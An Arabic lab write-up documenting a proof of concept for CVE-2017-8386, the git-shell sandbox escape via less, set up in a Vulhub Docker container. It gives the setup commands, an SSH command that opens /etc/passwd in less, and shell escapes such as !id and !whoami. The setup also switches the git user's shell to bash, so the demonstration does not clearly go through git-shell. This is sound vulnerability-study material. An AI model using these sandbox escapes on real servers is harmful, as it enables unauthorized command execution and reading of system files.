
PoC لثغرة تجاوز الحماية الصندوقية Git-Shell CVE-2017-8386.
جونغسو جين (@suz1n)
Git-shell هو بيئة تسمح فقط بتنفيذ أوامر git المحدودة عبر SSH. ولكن في إصدارات معينة من git-shell (مثل 2.12.2)، توجد ثغرة أمنية (CVE-2017-8386) تمكن من تجاوز الحماية sandbox باستخدام أمر less وتنفيذ أوامر النظام.
هذا التقرير يوثق إجراء إثبات المفهوم (PoC) لهذه الثغرة ويشرح الخطوات.
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• صورة أساسية Ubuntu 16.04
• تثبيت Git 2.12.2 من المصدر
• تثبيت وتشغيل خادم OpenSSH
• إعداد بيئة git-shell (إنشاء مستخدم git)
docker-compose build
docker-compose up -d
docker ps
• التحقق من تشغيل الحاوية (git-shell-cve-2017-8386)

1. إنشاء ونسخ id_rsa.pub محلياً
2. الدخول إلى داخل الحاوية والتبديل إلى مستخدم git
3. تسجيل المفتاح العام في authorized_keys
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• تم تثبيت حزمتي less و man لتنفيذ PoC
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• تم الدخول بنجاح إلى واجهة less
• يمكن تنفيذ أوامر النظام باستخدام أمر !
• !id -> طباعة معرف المستخدم والمجموعة

• !whoami -> المستخدم الحالي (git)
• !uname -a -> طباعة معلومات نواة النظام
• !ls /home/git -> عرض قائمة الملفات في دليل git الرئيسي
• بيئة git-shell تمنع المستخدم من تنفيذ أوامر النظام.
• لكن باستخدام أمر `git-upload-archive --help` يمكن استدعاء less داخلياً.
• يدعم أمر less تنفيذ أوامر shell عبر خاصية !.
• وبالتالي، يمكن تجاوز حماية git-shell sandbox وتنفيذ أوامر عشوائية.
• مدونة Insinuator: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• مستودع Vulhub على GitHub: https://github.com/phith0n/vulhub